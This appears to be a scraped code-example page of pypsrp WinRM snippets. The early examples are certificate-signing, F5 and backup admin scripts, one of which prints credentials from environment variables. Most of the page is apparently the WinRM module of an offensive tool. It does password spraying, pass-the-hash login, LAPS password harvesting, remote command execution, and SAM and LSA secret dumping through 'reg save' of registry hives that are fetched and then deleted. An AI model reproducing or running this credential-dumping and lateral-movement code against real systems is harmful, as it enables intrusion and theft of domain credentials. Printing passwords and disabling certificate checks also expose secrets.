import pypsrp
    from pypsrp.client import Client
if True:  # set global variables
    now = datetime.datetime.now()
    month = '{:02d}'.format(now.month)
    day = '{:02d}'.format(now.day)
    device_hostname = '''+DEVICE HOSTNAME HERE+'''
    user = r'''+MS CA USERNAME WITH DOMAIN HERE+'''
    pwd = '''+MS CA PASSWORD HERE+'''
    ca = '''+MS CA IP OR RESOLVABLE HOSTNAME HERE+'''
    date_format = f'{now.year}{month}{day}'
    csrname = f'{device_hostname}_{now.year}{month}{day}.txt'
    ca_drive = r'''+PATH TO DRIVE WHERE CERTIFICATES ARE MANAGED ON MS CA HERE+'''
    submit_command = 'certreq.exe -submit -config -'
    certname = f'{now.year}{month}{day}.cer'
if True:  # set pypsrp client connection settings to CA
    ca_client = Client(f"{ca}",
                       username=f"{user}",
                       password=pwd,
                       cert_validation=False,
                       ssl=False)
if True:  # copy csr to CA with pypsrp client
    # !!!applicable csr must be present in directory where this is run!!!
    ca_client.copy(csrname, f"{ca_drive}\\{csrname}")
if True:  # 'submit'/sign csr on CA with pypsrp client
    ca_client.execute_cmd(
        f'{submit_command} {ca_drive}\\{csrname} {ca_drive}\\{certname}')
if True:  # fetch cert from CA
    # !!!will put certificate in directory where this is run!!!
    ca_client.fetch(f"{ca_drive}\\{certname}", certname)
예제 #2
0
                       username=f"{ca_domain}\\{ca_un}",
                       password=ca_pwd,
                       cert_validation=False,
                       ssl=False)
if True:  # copy local csr file to CA with pypsrp client
    print("Copying local CSR file to CA...")
    ca_client.copy(csrname, f"{cert_drive}\\{csrname}")
if True:  # 'submit'/sign csr on CA with pypsrp client
    print("Signing CSR on CA...")
    ca_client.execute_cmd(
        f'certreq.exe -submit -config - {cert_drive}\\{csrname} {cert_drive}\\{certname}'
    )
if True:  # fetch cert file from CA and store as new name locally
    print("Fetching new signed certificate from CA...")
    new_certname = f'{cn_short}_{date_format}.crt'
    ca_client.fetch(f"{cert_drive}\\{certname}", new_certname)
if True:  # read cert file to variable
    ## uncomment to test without CA
    #new_certname = f'{cn_short}_{date_format}.crt'
    with open(new_certname, 'r+') as cert_import:
        cert_lines = cert_import.readlines()
if True:  # import new certificate to device
    print("Importing new certificate to device...")
    for line in cert_lines:
        line = str(line).rstrip()
        connect_ssh(
            f'echo "{line}" >> /config/httpd/conf/ssl.crt/{new_certname}',
            False)
        time.sleep(.5)
if True:  # apply new certificate as host certificate
    print("Moving to tmos and applying certificate...")
예제 #3
0
import os
from pypsrp.client import Client

username = os.environ["ANSIBLE_WIN_USER"]
password = os.environ["ANSIBLE_WIN_PASSWORD"]
print(username)
print(password)

# this takes in the same kwargs as the WSMan object
client = Client("localhost", port=5985, ssl=False, cert_validation=False, username=username, password=password)
# execute a cmd command
stdout, stderr, rc = client.execute_cmd("dir")
print(stdout)
stdout, stderr, rc = client.execute_cmd("powershell.exe gci $pwd")
print(stderr)

exit()

sanitised_stderr = client.sanitise_clixml(stderr)
# execute a PowerShell script
output, streams, had_errors = client.execute_ps('''$path = "%s"
if (Test-Path -Path $path) {
    Remove-Item -Path $path -Force -Recurse
}
New-Item -Path $path -ItemType Directory''' % path)
output, streams, had_errors = client.execute_ps("New-Item -Path C:\\temp\\folder -ItemType Directory")
# copy a file from the local host to the remote host
client.copy("~/file.txt", "C:\\temp\\file.txt")
# fetch a file from the remote host to the local host
client.fetch("C:\\temp\\file.txt", "~/file.txt")
예제 #4
0
if True:  # Get list of backup files from backup server
    file_out = backup_server_client.execute_cmd(f'dir "{backup_drive}"')
    filelist = file_out[0]
    filelist = filelist.strip()
    files = filelist.splitlines()

    for val in files:
        val_list = val.split()
        for v in val_list:
            if 'F5' in v and 'txt' in v:
                f_split = v.split('\\')
                filename = str(f_split[0])
                device_files.append(filename)
if True:  # Fetch backup files from backup server
    for f in device_files:
        backup_server_client.fetch(f'{backup_drive}\\{f}', f)
        command = subprocess.Popen(f'mv {f} config_files/{f}',
                                   stdout=subprocess.PIPE,
                                   shell=True)
        run = command.communicate()
if True:  # Generate applicable local device file list
    command = subprocess.Popen('ls config_files/',
                               stdout=subprocess.PIPE,
                               shell=True)
    run = command.communicate()

    for v in run:
        if type(v) == bytes:
            local_dev_files.append(v.decode())
    for v in local_dev_files:
        local_file_list = v.split()
예제 #5
0
class winrm(connection):
    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None
        self.output_filename = None

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        winrm_parser = parser.add_parser('winrm',
                                         help="own stuff using WINRM",
                                         parents=[std_parser, module_parser])
        winrm_parser.add_argument(
            "-H",
            '--hash',
            metavar="HASH",
            dest='hash',
            nargs='+',
            default=[],
            help='NTLM hash(es) or file(s) containing NTLM hashes')
        winrm_parser.add_argument(
            "--no-bruteforce",
            action='store_true',
            help=
            'No spray when using file for username and password (user1 => password1, user2 => password2'
        )
        winrm_parser.add_argument(
            "--continue-on-success",
            action='store_true',
            help="continues authentication attempts even after successes")
        winrm_parser.add_argument("--port",
                                  type=int,
                                  default=0,
                                  help="Custom WinRM port")
        winrm_parser.add_argument("--ssl",
                                  action='store_true',
                                  help="Connect to SSL Enabled WINRM")
        winrm_parser.add_argument("--ignore-ssl-cert",
                                  action='store_true',
                                  help="Ignore Certificate Verification")
        winrm_parser.add_argument("--laps",
                                  dest='laps',
                                  metavar="LAPS",
                                  type=str,
                                  help="LAPS authentification",
                                  nargs='?',
                                  const='administrator')
        dgroup = winrm_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d",
                            metavar="DOMAIN",
                            dest='domain',
                            type=str,
                            default=None,
                            help="domain to authenticate to")
        dgroup.add_argument("--local-auth",
                            action='store_true',
                            help='authenticate locally to each target')

        cgroup = winrm_parser.add_argument_group(
            "Credential Gathering", "Options for gathering credentials")
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("--sam",
                             action='store_true',
                             help='dump SAM hashes from target systems')
        cegroup.add_argument("--lsa",
                             action='store_true',
                             help='dump LSA secrets from target systems')

        cgroup = winrm_parser.add_argument_group(
            "Command Execution", "Options for executing commands")
        cgroup.add_argument('--no-output',
                            action='store_true',
                            help='do not retrieve command output')
        cgroup.add_argument("-x",
                            metavar="COMMAND",
                            dest='execute',
                            help="execute the specified command")
        cgroup.add_argument("-X",
                            metavar="PS_COMMAND",
                            dest='ps_execute',
                            help='execute the specified PowerShell command')

        return parser

    def proto_flow(self):
        self.proto_logger()
        if self.create_conn_obj():
            self.enum_host_info()
            if self.print_host_info():
                if self.login():
                    if hasattr(self.args, 'module') and self.args.module:
                        self.call_modules()
                    else:
                        self.call_cmd_args()

    def proto_logger(self):
        self.logger = CMEAdapter(
            extra={
                'protocol': 'SMB',
                'host': self.host,
                'port': 'NONE',
                'hostname': 'NONE'
            })

    def enum_host_info(self):
        # smb no open, specify the domain
        if self.args.domain:
            self.domain = self.args.domain
            self.logger.extra['hostname'] = self.hostname
        else:
            try:
                smb_conn = SMBConnection(self.host, self.host, None)
                try:
                    smb_conn.login('', '')
                except SessionError as e:
                    pass

                self.domain = smb_conn.getServerDNSDomainName()
                self.hostname = smb_conn.getServerName()
                self.server_os = smb_conn.getServerOS()
                self.logger.extra['hostname'] = self.hostname

                self.output_filename = os.path.expanduser(
                    '~/.cme/logs/{}_{}_{}'.format(
                        self.hostname, self.host,
                        datetime.now().strftime("%Y-%m-%d_%H%M%S")))

                try:
                    smb_conn.logoff()
                except:
                    pass

            except Exception as e:
                logging.debug(
                    "Error retrieving host domain: {} specify one manually with the '-d' flag"
                    .format(e))

            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

    def laps_search(self, username, password, ntlm_hash, domain):
        ldapco = LDAPConnect(self.domain, "389", self.domain)
        connection = ldapco.plaintext_login(domain,
                                            username[0] if username else '',
                                            password[0] if password else '',
                                            ntlm_hash[0] if ntlm_hash else '')
        if connection == False:
            logging.debug(
                'LAPS connection failed with account {}'.format(username))
            return False
        searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.hostname + '))'
        attributes = ['ms-MCS-AdmPwd', 'samAccountname']
        result = connection.search(searchFilter=searchFilter,
                                   attributes=attributes,
                                   sizeLimit=0)

        msMCSAdmPwd = ''
        sAMAccountName = ''
        for item in result:
            if isinstance(item,
                          ldapasn1_impacket.SearchResultEntry) is not True:
                continue
            for computer in item['attributes']:
                if str(computer['type']) == "sAMAccountName":
                    sAMAccountName = str(computer['vals'][0])
                else:
                    msMCSAdmPwd = str(computer['vals'][0])
            logging.debug("Computer: {:<20} Password: {} {}".format(
                sAMAccountName, msMCSAdmPwd, self.hostname))
        self.username = self.args.laps
        self.password = msMCSAdmPwd
        if msMCSAdmPwd == '':
            logging.debug(
                'msMCSAdmPwd is empty, account cannot read LAPS property for {}'
                .format(self.hostname))
            return False
        if ntlm_hash:
            hash_ntlm = hashlib.new('md4',
                                    msMCSAdmPwd.encode('utf-16le')).digest()
            self.hash = binascii.hexlify(hash_ntlm).decode()
        self.domain = self.hostname
        return True

    def print_host_info(self):
        if self.args.domain:
            self.logger.extra['protocol'] = "HTTP"
            self.logger.info(self.endpoint)
        else:
            self.logger.extra['protocol'] = "SMB"
            self.logger.info(u"{} (name:{}) (domain:{})".format(
                self.server_os, self.hostname, self.domain))
            self.logger.extra['protocol'] = "HTTP"
            self.logger.info(self.endpoint)
        self.logger.extra['protocol'] = "WINRM"
        if self.args.laps:
            return self.laps_search(self.args.username, self.args.password,
                                    self.args.hash, self.domain)
        return True

    def create_conn_obj(self):

        endpoints = [
            'https://{}:{}/wsman'.format(
                self.host, self.args.port if self.args.port else 5986),
            'http://{}:{}/wsman'.format(
                self.host, self.args.port if self.args.port else 5985)
        ]

        for url in endpoints:
            try:
                requests.get(url, verify=False, timeout=3)
                self.endpoint = url
                if self.endpoint.startswith('https://'):
                    self.port = self.args.port if self.args.port else 5986
                else:
                    self.port = self.args.port if self.args.port else 5985

                self.logger.extra['port'] = self.port

                return True
            except Exception as e:
                if 'Max retries exceeded with url' not in str(e):
                    logging.debug('Error in WinRM create_conn_obj:' + str(e))

        return False

    def plaintext_login(self, domain, username, password):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            if not self.args.laps:
                self.password = password
                self.username = username
            self.domain = domain
            if self.args.ssl and self.args.ignore_ssl_cert:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       domain, self.username),
                                   password=self.password,
                                   ssl=True,
                                   cert_validation=False)
            elif self.args.ssl:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       domain, self.username),
                                   password=self.password,
                                   ssl=True)
            else:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       domain, self.username),
                                   password=self.password,
                                   ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(
                self.domain, self.username,
                self.password if not self.config.get('CME', 'audit_mode') else
                self.config.get('CME', 'audit_mode') * 8,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else '')))
            if not self.args.local_auth:
                add_user_bh(self.username, self.domain, self.logger,
                            self.config)
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e):
                self.logger.error(u'{}\\{}:{}'.format(
                    self.domain, self.username,
                    self.password if not self.config.get('CME', 'audit_mode')
                    else self.config.get('CME', 'audit_mode') * 8))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(
                    self.domain, self.username,
                    self.password if not self.config.get('CME', 'audit_mode')
                    else self.config.get('CME', 'audit_mode') * 8, e))

            return False

    def hash_login(self, domain, username, ntlm_hash):
        try:
            from urllib3.connectionpool import log
            log.addFilter(SuppressFilter())
            lmhash = '00000000000000000000000000000000:'
            nthash = ''

            if not self.args.laps:
                self.username = username
                #This checks to see if we didn't provide the LM Hash
                if ntlm_hash.find(':') != -1:
                    lmhash, nthash = ntlm_hash.split(':')
                else:
                    nthash = ntlm_hash
                    ntlm_hash = lmhash + nthash
                if lmhash: self.lmhash = lmhash
                if nthash: self.nthash = nthash
            else:
                nthash = self.hash

            self.domain = domain
            if self.args.ssl and self.args.ignore_ssl_cert:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       self.domain, self.username),
                                   password=lmhash + nthash,
                                   ssl=True,
                                   cert_validation=False)
            elif self.args.ssl:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       self.domain, self.username),
                                   password=lmhash + nthash,
                                   ssl=True)
            else:
                self.conn = Client(self.host,
                                   auth='ntlm',
                                   username=u'{}\\{}'.format(
                                       self.domain, self.username),
                                   password=lmhash + nthash,
                                   ssl=False)

            # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
            # we could just authenticate without running a command :) (probably)
            self.conn.execute_ps("hostname")
            self.admin_privs = True
            self.logger.success(u'{}\\{}:{} {}'.format(
                self.domain, self.username,
                nthash if not self.config.get('CME', 'audit_mode') else
                self.config.get('CME', 'audit_mode') * 8,
                highlight('({})'.format(self.config.get('CME', 'pwn3d_label')
                                        ) if self.admin_privs else '')))
            if not self.args.local_auth:
                add_user_bh(self.username, self.domain, self.logger,
                            self.config)
            if not self.args.continue_on_success:
                return True

        except Exception as e:
            if "with ntlm" in str(e):
                self.logger.error(u'{}\\{}:{}'.format(
                    self.domain, self.username,
                    nthash if not self.config.get('CME', 'audit_mode') else
                    self.config.get('CME', 'audit_mode') * 8))
            else:
                self.logger.error(u'{}\\{}:{} "{}"'.format(
                    self.domain, self.username,
                    nthash if not self.config.get('CME', 'audit_mode') else
                    self.config.get('CME', 'audit_mode') * 8, e))

            return False

    def execute(self, payload=None, get_output=False):
        try:
            r = self.conn.execute_cmd(self.args.execute)
        except:
            self.logger.debug(
                'Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !'
            )
            r = self.conn.execute_ps(self.args.execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])

    def ps_execute(self, payload=None, get_output=False):
        r = self.conn.execute_ps(self.args.ps_execute)
        self.logger.success('Executed command')
        self.logger.highlight(r[0])

    def sam(self):
        self.conn.execute_cmd(
            "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM"
        )

        self.conn.fetch("C:\\windows\\temp\\SAM",
                        self.output_filename + ".sam")
        self.conn.fetch("C:\\windows\\temp\\SYSTEM",
                        self.output_filename + ".system")

        self.conn.execute_cmd(
            "del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")

        localOperations = LocalOperations(self.output_filename + ".system")
        bootKey = localOperations.getBootKey()
        SAM = SAMHashes(
            self.output_filename + ".sam",
            bootKey,
            isRemote=None,
            perSecretCallback=lambda secret: self.logger.highlight(secret))
        SAM.dump()
        SAM.export(self.output_filename + ".sam")

    def lsa(self):
        self.conn.execute_cmd(
            "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM"
        )
        self.conn.fetch("C:\\windows\\temp\\SECURITY",
                        self.output_filename + ".security")
        self.conn.fetch("C:\\windows\\temp\\SYSTEM",
                        self.output_filename + ".system")
        self.conn.execute_cmd(
            "del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")

        localOperations = LocalOperations(self.output_filename + ".system")
        bootKey = localOperations.getBootKey()
        LSA = LSASecrets(self.output_filename + ".security",
                         bootKey,
                         None,
                         isRemote=None,
                         perSecretCallback=lambda secretType, secret: self.
                         logger.highlight(secret))
        LSA.dumpCachedHashes()
        LSA.dumpSecrets()